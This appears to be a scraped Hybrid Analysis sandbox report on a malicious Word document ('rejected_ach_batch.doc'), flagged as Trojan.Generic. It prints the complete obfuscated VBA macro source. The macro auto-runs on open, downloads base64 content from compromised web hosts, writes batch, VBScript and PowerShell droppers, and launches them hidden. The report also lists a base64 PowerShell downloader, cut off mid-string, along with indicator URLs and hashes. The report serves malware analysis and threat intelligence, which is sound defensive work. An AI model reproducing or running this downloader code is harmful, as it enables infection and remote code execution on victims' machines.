26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T48d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 776aa62e129c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 776aa62e129c…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 10 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb"],"about":{"@type":"SoftwareApplication","name":"rejected_ach_batch.doc","applicationCategory":["doc","office"],"identifier":"776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":21,"total":29},"behavioralIndicators":{"malicious":10,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T2bc7,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub ZJhcjkhjwqhdjqw_Open() End Sub Sub Huqwhdkqwhdjkqw_Open() End Sub Sub Auto_Open() Zjdihquhwqid End Sub Sub Zjdihquhwqid() HYQDUGWQ = "nj21he jg2hj21ge" Ynqhbdjhqwb End Sub Sub Giqjwdhqwkjq() BHBDJHWQ = "behj21ghj12" End Sub Sub AutoOpen() JAHSDJGHQW = "jr3 2jhjk2gr2" Zjdihquhwqid End Sub Sub Workbook_Open() LJKLJWDKLQ = "bhjgwqhjdgqj " Auto_Open End Sub Sub Ynqhbdjhqwb() Dim fallout As Integer, silkroad As Integer, inclife As Integer, inredible As Integer Dim retVal As Variant, gana As Integer, turkey As Integer, malay As Integer, SPAIN As String, BOLIVIA As String BOLIVIA = Chr(90 + 2) ANGOLA = Ubqhwdhwqbd(16137) + "" SPAIN = Chr(84) & "em" + "p" QHDQUWH = ANGOLA FL2 = QHDQUWH PH2 = Module2.Goabc(SPAIN) + BOLIVIA silkroad = 9 jwnqdw = -1 BOSNIA = 8719723 BOSNIA = 1 + 1 + 113 + Sgn(jwnqdw) BALAGAN = BOSNIA JWIDJIAAA = "" QIWJDABB = "b" HUYFEA = QIWJDABB + "a" + "t" PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49) gana = NUqwdqwbdsad(1 - 300 * Sin(20)) SSS = Chr(BALAGAN + 2 + gana) VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & "" BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + gana + 2) + HUYFEA INTG = "" & "o" & "bject" KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "dule" AFTG = Chr(109) & KIWD SXEE = Chr(46) SXAA = Chr(101) SXE = SXEE & SXAA & "" & "xe" GNG = Chr(2 ^ 2 + 42) + "jpg" HUQD = Chr(30 + 16 + 1) ATTH = "ht" & "t" & "" & "p" & ":" & "//" BQHJDQ = "sa" + "vep" + "ic" & Chr(46) & "su" + HUQD PSPTH = PH2 + PSFL VBPTH = PH2 + VBFL BAPTH = "1jh2ekh12kehk12he j12g e21" ABPTH = PH2 + BAFL BAPTH = ABPTH JHQKWDQAASS = BQHJDQ Dim BALAGANHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String DRT = 315 BFT = 316 CFT = 317 DFT = 318 EFT = 319 Dim NUWDHUQHUQWDH As String NUWDHUQHUQWDH = "" + "USE" & "RPROFILE" Dim PBIn As String, asdwq As String, MIWDWQ As String TSTS = "." + "tx" + "t" CDDD = "78672738612836" + TSTS LNSS = "f" & "a" & "f" & "a" & "" + TSTS STT1 = "fspresentationproducts.com/" STT2 = "chameleonpaintworks.com/w" + "p-con" + "tent/pl" + "ugins/w" + "p-jqu" + "ery-lig" + "htbox/sty" + "les/imag" + "es/he_IL/" PBIn = ATTH + STT1 + CDDD CONT = Module2.Linolium(PBIn) asdwq = Rasdas(CONT) HQUWDAAA = "0" If (asdwq <> "=") Then PBIn = ATTH + STT2 + CDDD CONT = Module2.Linolium(PBIn) asdwq = CONT HQUWDAAA = "1" End If CONT = Quqhwdbyas(asdwq) Dim ahuywdgqy As String TVT10 = Port(CONT, "t" & "ext10") TVT20 = Port(CONT, "t" & "ext20") TVT21 = Port(CONT, "t" & "ext21") TVT30 = Port(CONT, "t" & "ext30") TVT31 = Port(CONT, "t" & "ext31") XPT1 = Port(CONT, "stext1") XPT2 = Port(CONT, "stext2") XPT3 = Port(CONT, "stext3") WVR = Module2.Goabc(NUWDHUQHUQWDH) hufehu1 = InStr(WVR, "sers\") Dim hudhw As Integer Dim ghdAdd(1 To 3) ghdAdd(1) = "1" ghdAdd(2) = "0" ghdAdd(3) = "0" If (hufehu1 <> 0) Then ghdAdd(1) = "2" Else ghdAdd(2) = "3" End If JHWQUD = Join(ghdAdd) hudhw = Val(JHWQUD) Module2.Crispy (1) MIWDWQ = ATTH + STT1 + LNSS If (HQUWDAAA = "1") Then MIWDWQ = ATTH + STT2 + LNSS End If SEXX = Module2.Linolium(MIWDWQ) PSTB = PBIn + "123123123" MSTAR1 = JHQKWDQAASS + "5751812" + GNG MSTAR2 = JHQKWDQAASS + "5757956" + GNG STAR1 = ATTH + MSTAR1 STAR2 = ATTH + MSTAR2 FFQ = "8" FF = FFQ + SXE If (hudhw = 130) Then Open BAPTH For Output As #DRT Print #DRT, XPT1 Print #DRT, ":jadkjasghdjasg" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34) Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34) Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34) Print #DRT, XPT2 Close #DRT Module2.Crispy (1) Open VBPTH For Output As #BFT Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34) Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34) Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & "" Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq" Print #BFT, XPT3 Close #BFT BDDT.Crispy (1) NTH1 = Module3.HowEver(retVal, BAPTH) End If HUDQG = "';" If (hudhw = 200) Then ZPQSKD = FL2 Open PSPTH For Output As #CFT Print #CFT, "$bhjdgqwdg = 'qbwdjhqbwgd';" Print #CFT, "$bqhdwjqwdd = 'njqdhjqwdqj';" Print #CFT, "$stat = 'ht'+'tp://'+''+'" + MSTAR2 + "';" Print #CFT, "$ggtt = '" + SEXX + "';" Print #CFT, "$pths = '" + PH2 + HUDQG Print #CFT, "$wehs = '" + ZPQSKD + HUDQG Print #CFT, "$nnm = '" + FFQ + "';" Print #CFT, TVT10 Close #CFT Open VBPTH For Output As #DFT Print #DFT, TVT30 Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&huih" Print #DFT, TVT31 Close #DFT Open BAPTH For Output As #EFT Print #EFT, Chr(30 + 30 + 4) + "echo off" & vbCrLf & ":jqduqihdjsakd" Print #EFT, TVT20 Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34) Print #EFT, ":hdjqkwhdqhwd" Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34) Print #EFT, ":ajhsdkasghjgsd" Print #EFT, "set Rts4=" + "%Mts4%%Ads3%" Print #EFT, TVT21 Close #EFT Module2.Crispy (1) NTH2 = Module3.HowEver(retVal, BAPTH) End If JUW = Chr(47) AKK = Chr(60) ZKK = ">" NTH3 = Module3.India(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1) NTH4 = Module3.India(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2) NTH5 = Module3.India(AKK + INTG + ZKK, "", 3) NTH6 = Module3.India(AKK + JUW + INTG + ZKK, "", 3) NTH7 = Module3.India(AKK + AFTG + ZKK, "", 3) NTH8 = Module3.India(AKK + JUW + AFTG + ZKK, "", 3) End Sub Public Function NUqwdqwbdsad(a As Integer) NUqwdqwbdsad = Sgn(a) End Function Public Function Hhqudhqwgyuqwaaa(a As Integer) Hhqudhqwgyuqwaaa = Sgn(a) End Function Public Function Ubqhwdhwqbd(a As Integer) Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000)) End Function Public Function Quqhwdbyas(ByVal strData As String) As String Dim objXML As Object Dim objNode As Object Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer nudqwd = Tan(12) 'MsgBox ("tangens:" + nudqwd) asduiwhqdqiw = Hhqudhqwgyuqwaaa(nudqwd) QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument" Set objXML = CreateObject(QHDHUQW) Set objNode = objXML.createElement("b6" + "4") objNodeS = "j1h2 ehgj12hj12 ejg12e1" objNodeE = "g21eh1" objNodeQ = "1j2ge h12" objNodeZ = "dbjsahs " objNode.DataType = "bin.b" + Chr(97) + "se" + "6" & "4" objNode.Text = strData WUDHA = objNode.nodeTypedValue Quqhwdbyas = WUDHA Set objNode = Nothing Set objXML = Nothing End Function Public Function Port(a, b As String) Dim krd tent As Integer UQWD = Chr(50 + 8 + 2) & "" NDUW = "" & Chr(70 - 8) krd = InStr(1, a, UQWD + b + NDUW) + 8 tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd KLMN = Mid$(a, krd, tent) HUQHWDA = KLMN Port = HUQHWDA End Function Private Static Function Rasdas(a As String) Rasdas = Right(a, 1) End Function", File "Module1.bas" (Streampath: "Macros/VBA/Module1") has code: "Public Function Xjdkhjfwefw(a As Object) Xjdkhjfwefw = (a.responseText) End Function", File "Module2.bas" (Streampath: "Macros/VBA/Module2") has code: "Public Function Goabc(sps As String) NJBHVGASVD = "h1j2 hjeg1hj12geh 1221ek l12j12e" NJBHVGASVD = "h1j2 hjeg1hj12geh 1221ek l12j12e" NJBHVGASVD = "h1j2 hjeg1hj12geh 1221ek l12j12e" Goabc = Environ(sps) End Function Public Function Linolium(nbqjbdjqw As String) Dim dhjqwqkjww As Integer aaqjwhdq As Integer Kjqiwdhqwuhdjqkwhdjkqwbd As Object AHUDWQI As String Dim ashdUHhda As String hausd As Integer ashdUHhda = nbqjbdjqw hausd = Tan(12) BQDHJQWDGWQJGS = "MS" + Chr(93 + 5 * hausd) + "ML2.ServerXMLH" & Chr(85 + hausd) & Chr(84) & Chr(80) 'MsgBox (BQDHJQWDGWQJGS) Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS) Kjqiwdhqwuhdjqkwhdjkqwbd.Open "GE" & "" & "T", ashdUHhda Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI) Linolium = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd) End Function Sub Crispy(NumOfSeconds As Long) Dim SngSec As Long SngSec = Timer + NumOfSeconds Do While Timer < SngSec DoEvents Loop End Sub", File "Module3.bas" (Streampath: "Macros/VBA/Module3") has code: "Public Function India(dnuwhd As String, b As String, c As Integer) Dim selectedText As String Dim ssjidoqwhduqhwidqwudihq As Range, lesleslesqjhdjqkwhdwq As Range Set ssjidoqwhduqhwidqwudihq = ActiveDocument.Range BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" With ssjidoqwhduqhwidqwudihq.Find 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" .Text = dnuwhd .MatchWholeWord = True ssjidoqwhduqhwidqwudihq.Find.Execute ssjidoqwhduqhwidqwudihq.Collapse direction:=wdCollapseEnd Dim wdwq As String Set lesleslesqjhdjqkwhdwq = ActiveDocument.Range Dim wdsadwq As String lesleslesqjhdjqkwhdwq.Start = ssjidoqwhduqhwidqwudihq.End .Text = b .MatchWholeWord = True .Execute BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" ssjidoqwhduqhwidqwudihq.Collapse direction:=wdCollapseStart lesleslesqjhdjqkwhdwq.End = ssjidoqwhduqhwidqwudihq.Start If (c = 1) Then selectedText = lesleslesqjhdjqkwhdwq.Delete End If If (c = 2) Then lesleslesqjhdjqkwhdwq.Font.Color = wdColorBlack End If Dim hduwaa As Integer hduwaa = 1 - 2 ^ 4 QHUDW = Chr(10 + 23 + Sgn(hduwaa)) If (c = 3) Then With ssjidoqwhduqhwidqwudihq.Find .Text = a .Replacement.Text = QHUDW 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" 'BYHQGDJHWQ = "KH21E JK12GJFHE G21HFEGH12F fghf eghewf jhg hjsgfhjghj3g j12" .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With End If End With End Function Public Function HowEver(hqwdugqw As Variant, hasdgja) BHQJGDWQ = "1b2hej g1h2e21j" hqwdugqw = Shell(hasdgja, 0) HowEver = hqwdugqw End Function"28:T422,"~$Normal.dotm" has type "data" "~WRS{A301FAFE-248A-4704-9ADA-667FED534F38}.tmp" has type "FoxPro FPT, blocks size 0, next free block index 218103808, 1st used item "\375"" "opa12.dat" has type "data" "~$6aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.doc" has type "data" "776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.LNK" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Normal, ctime=Tue Jul 21 14:28:04 2015, mtime=Tue Jul 21 14:28:04 2015, atime=Tue Jul 21 14:28:04 2015, length=70144, window=hide" "Lokaler Datentrger (Z).LNK" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Directory, ctime=Tue Jul 21 21:29:27 2015, mtime=Tue Jul 21 21:30:06 2015, atime=Tue Jul 21 21:30:06 2015, length=4096, window=hide" "index.dat" has type "data" "21385.ps1" has type "ASCII text, with CRLF line terminators" "21385.vbs" has type "ASCII text, with CRLF line terminators" "21385.bat" has type "DOS batch file, ASCII text, with CRLF line terminators"29:T4f0,"WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\" at 01950671-00002984-77E5FF7C-1957656 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1957671 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958703 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958718 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958765 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share\776aa62e129c02b4c748dd012df93d6690155ab08131052993d0e57e49c25cdb.doc" at 01950671-00002984-77E5FF7C-1958796 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958844 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958845 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\share" at 01950671-00002984-77E5FF7C-1958846 "WINWORD.EXE" queries volume information of "\Device\HarddiskVolume2\Users\PSPUBWS\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC" at 01950671-00002984-77E5FF7C-19642522a:T105d,Found malicious artifacts related to "165.254.207.89" (ASN: 2914, Owner: NTT America, Inc.): ... URL: http://165.254.207.89/ (AV positives: 1/63 scanned on 07/20/2015 19:39:25) URL: https://165.254.207.89/ (AV positives: 1/63 scanned on 07/20/2015 18:52:50) URL: http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab?1506052016 (AV positives: 1/63 scanned on 06/05/2015 20:18:06) URL: http://p.udn.com.tw/ (AV positives: 1/62 scanned on 04/20/2015 10:01:03) URL: http://a.ligatus.com/timeout.php?ids=20354 (AV positives: 1/62 scanned on 04/11/2015 03:25:27) File SHA256: 5b62b1c385a324acb6fff909b059a783b314f0287beee4522355378f5a33209e (AV positives: 1/57 scanned on 03/28/2015 20:03:37) File SHA256: fa4315a60d2c2922262564cec26cab6c065157696bbfde0c0561bbae899fcc4c (AV positives: 1/57 scanned on 03/11/2015 05:37:18) File SHA256: 07e8c016ed102712126c685c20012d581118854535395935ea8f621b2f8ef999 (AV positives: 4/57 scanned on 03/10/2015 12:47:57) File SHA256: 0fc84fcf80edd3ed59ab6336eaa968958324d5bb1d4ec8ffd8697219054daeb2 (AV positives: 1/51 scanned on 03/10/2015 07:22:08) File SHA256: 8a657271557e9e7af8e55bfac85ea70f83fe8fb8154979ff0d3a869b80b7c8e5 (AV positives: 1/57 scanned on 03/10/2015 04:49:21) Found malicious artifacts related to "50.63.73.1" (ASN: 26496, Owner: GoDaddy.com, LLC): ... URL: http://www.coastalseparation.com/boss-oily-water/ (AV positives: 4/63 scanned on 07/21/2015 14:25:40) URL: http://www.legaleasetv.com/have-your-civil-rights-been-violated/civil-rights-law/ (AV positives: 7/63 scanned on 07/21/2015 13:27:32) URL: http://artfullygraphic.com/recent-work/ (AV positives: 1/63 scanned on 07/21/2015 12:33:13) URL: http://cal-catholic.com/?p (AV positives: 1/63 scanned on 07/21/2015 11:51:08) URL: http://www.legaleasetv.com/bankruptcy-attorney-san-diego-attorney-marc-duxbury/ (AV positives: 9/63 scanned on 07/21/2015 11:06:51) File SHA256: 15238657565338204b034894db3bb4c8d8ee9451d77804179163b98d6aadd703 (AV positives: 27/56 scanned on 07/21/2015 11:06:55) File SHA256: c82fdf3951e712967e08f5dd616a6b74e428efb612be09614ce862775237f2e3 (AV positives: 31/56 scanned on 07/21/2015 06:23:05) File SHA256: f0ef1b01af45315e8f6db63ba295e418d52a5c586379bdc98d41436fc7becaa0 (AV positives: 8/56 scanned on 07/21/2015 00:01:02) File SHA256: 4b86206936a1f337ed7b1d8bbbcfea31ceb066d84c72983570c6c6f580211f7d (AV positives: 2/56 scanned on 07/19/2015 19:25:04) File SHA256: 907a668814092a7d0d7ebbb88985829a7823360214ca00842d3b98db8a6a6c47 (AV positives: 31/56 scanned on 07/17/2015 18:23:17) Found malicious artifacts related to "69.22.154.25" (ASN: 4436, Owner: nLayer Communications, Inc.): ... URL: http://static.wix.com/media/ed72d4_dffe97279e26498685ee8f24f69a06a1.jpg_srz_203_152_75_22_0.5_1.2_75_jpg_srz (AV positives: 1/62 scanned on 03/13/2015 18:47:35) URL: http://static.wix.com/media/ed72d4_160a0056435c4ef8a05759b184e14b91.jpg_srz_203_152_75_22_0.5_1.2_75_jpg_srz (AV positives: 1/62 scanned on 03/13/2015 18:47:33) URL: http://static.wix.com/media/ed72d4_a13ce468b0c84fa185d05e289864c332.jpg_srz_203_152_75_22_0.5_1.2_75_jpg_srz (AV positives: 1/62 scanned on 03/13/2015 18:47:28) URL: http://lp.empire.goodgamestudios.com/?country=us&pid=1004&camp=1&gid=12&lp=emstratmap&SourceId=689&FB1=clny00000ay1zn&FB2=6025844701431&FB3=30&FB4=65&FB5=%7Bts%7D&cid=6025844701431&tid%7Binterests%7D (AV positives: 1/62 scanned on 03/13/2015 18:30:02) URL: http://dl.downloadaixeechahgho.com/n/3.1.10.35/2280954 (AV positives: 3/62 scanned on 02/06/2015 15:10:57) File SHA256: 9adfcecb6bcd3e54733bbebe058db78d4668a62545baa41001ccc2a2d0c73485 (AV positives: 1/57 scanned on 02/26/2015 15:35:03) File SHA256: 4d753499dfc07886971875252cee1be36d5792fdbab679c69531df208d3b583b (AV positives: 8/55 scanned on 11/15/2014 03:40:28) File SHA256: 44ef21f9d77b584ca763b62ff713062d12bfa43ea691dcca263017aa737e2c47 (AV positives: 3/54 scanned on 10/30/2014 00:35:25) File SHA256: 2ef4d372d5704d4021aff9b2e1d9bb6520ec7dad75acdd3179ff91a162776242 (AV positives: 10/51 scanned on 05/23/2014 03:17:25) File SHA256: 7af39938f5e96a84eaabb6bef8a059e53a47bc5017dc8efd32cb572ff22d2704 (AV positives: 25/52 scanned on 05/20/2014 12:33:33)2b:T727,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA100") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA101") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA102") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA103")2c:T1611,"WINWORD.EXE" called "Msxml2.ServerXMLHTTP.CreateObject" ... "WINWORD.EXE" called "Msxml2.ServerXMLHTTP.open" ... "WINWORD.EXE" called "Msxml2.ServerXMLHTTP.send" ... "WINWORD.EXE" called "Msxml2.ServerXMLHTTP.responseText" with result: "PAB0AGUAeAB0ADEAMAA+ACQAbgBqAHEAawB3AGQAbgBqAGsAcQB3AD0AJwBqAHcAcQBkAG4AawBxAHcAaABqADIAMQBrAGoAaAAxAGoAMgAxACcAOwANAAoAJABxAGIAagB3AGQAagBxAHcAYgBkAHEAPQAnADEAagAyAGUAaABrAGoAMQAyAGgAIABqAGsAMQAyAGgAZQBrAGoAMgAxACAAJwA7AA0ACgAkAGQAbwB3AG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGoAcQB3AGQAbgBqAHEAawB3AGQAYgBqAD0AJwBuADIAMQBqAGUAawAxADIAZQBoAGoAIAAxADIAaABlAGoAawAyADEAIABoAGUAagBrACcAOwANAAoAJABmAGkAbABlACAAPQAgACQAcAB0AGgAcwArACQAbgBuAG0AKwAnAC4AJwArACcAZQAnACsAJwB4AGUAJwA7AA0ACgAkAHMAdABhAHQAcwBmAGkAbABlACAAPQAgACQAcAB0AGgAcwArACcANAA0ADQALgBqAHAAZwAnADsADQAKACQAZABvAHcAbgAuAGgAZQBhAGQAZQByAHMAWwAnACcAKwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdACAAPQAgACcAJwArACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABNAGEAYwBpAG4AdABvAHMAaAA7ACAASQBuAHQAZQBsACAATQBhAGMAIABPAFMAIABYACAAMQAwAF8AMQAwACkAIABBAHAAcABsAGUAVwBlAGIASwBpAHQALwA2ADAAMAAuADEALgAyADUAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAVgBlAHIAcwBpAG8AbgAvADgALgAwACAAUwBhAGYAYQByAGkALwA2ADAAMAAuADEALgAyADUAJwArACcAJwA7AA0ACgAkAGQAYQBzAGQAdwA9ACcAYQBzAGQAZwBqAGEAcwBkACcAOwANAAoAJABkAG8AdwBuAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGcAZwB0AHQALAAkAGYAaQBsAGUAKQA7AA0ACgAkAGQAbwB3AG4ALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAcwB0AGEAdAAsACQAcwB0AGEAdABzAGYAaQBsAGUAKQA7AA0ACgAkAGEAcwBuAGQAagBrAGEAcwBoAGQAYQBzAD0AJwBoAHEAdQBnAGQAaABqAGcAcQB3ACAAaABqADIAZwBqAGgAMQBnAGQAIABoAGoAMQAyAGcAaABlAGoAMQAnADsADQAKACQAUwBjAHIAaQBwAHQARABpAHIAIAA9ACAAJABNAHkASQBuAHYAbwBjAGEAdABpAG8AbgAuAFMAYwByAGkAcAB0AE4AYQBtAGUAOwANAAoAJAB2AGIAcwBGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABwAHQAaABzACsAJAB3AGUAaABzACsAJwAuACcAKwAnAHYAJwArACcAYgBzACcAKwAnACcAOwANAAoAJABzAHQAYQB0AEYAaQBsAGUAUABhAHQAaAAgAD0AIAAnAGMAOgBcAFUAcwBlAHIAcwBcAE0ATQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwANAA0ADQAJwArACcALgAnACsAJwBqAHAAZwAnADsADQAKACQAYgB0AEYAaQBsAGUAUABhAHQAaAAgAD0AIAAkAHAAdABoAHMAKwAkAHcAZQBoAHMAKwAnAC4AJwArACcAYgAnACsAJwBhAHQAJwA7AA0ACgAkAHAAcwBGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABwAHQAaABzACsAJAB3AGUAaABzACsAJwAuACcAKwAnAHAAcwAnACsAJwAxACcAOwANAAoAJABhAHMAZABoAGoAcQBnAHcAZABxAD0AJwBxAGgAdwBnAGQAagBxAHcAZwBoAGQAagBxAHcAJwA7AA0ACgAkAHEAdwBiAGgAZwAyADEAagBkADIAMQBoAD0AJwBqAGEAawBzAGgAZABqAGgAYQBnAHMAZABhAHMAZAAnADsADQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEAMwA7AA0ACgBjAG0AZAAuAGUAeABlACAALwBjACAAIAAkAGYAaQBsAGUAOwAgACAAIAAgACAADQAKACQAZgBpAGwAZQAxACAAPQAgAGcAYwBpACAAJAB2AGIAcwBGAGkAbABlAFAAYQB0AGgAIAAtAEYAbwByAGMAZQANAAoAJABuAHEAagB3AGQAaABnAGoAcQB3AGQAPQAnAHEAdgBkAGgAcQBnAHcAagBkAGcAdwBxACcAOwANAAoAJABmAGkAbABlADIAIAA9ACAAZwBjAGkAIAAkAGIAdABGAGkAbABlAFAAYQB0AGgAIAAtAEYAbwByAGMAZQANAAoAJABmAGkAbABlADMAIAA9ACAAZwBjAGkAIAAkAHAAcwBGAGkAbABlAFAAYQB0AGgAIAAtAEYAbwByAGMAZQANAAoAJABrAGEAcwBsAGQAZABzACAAPQAgACQAdgBiAHMARgBpAGwAZQBQAGEAdABoAA0ACgBJAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABrAGEAcwBsAGQAZABzACkAewAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAawBh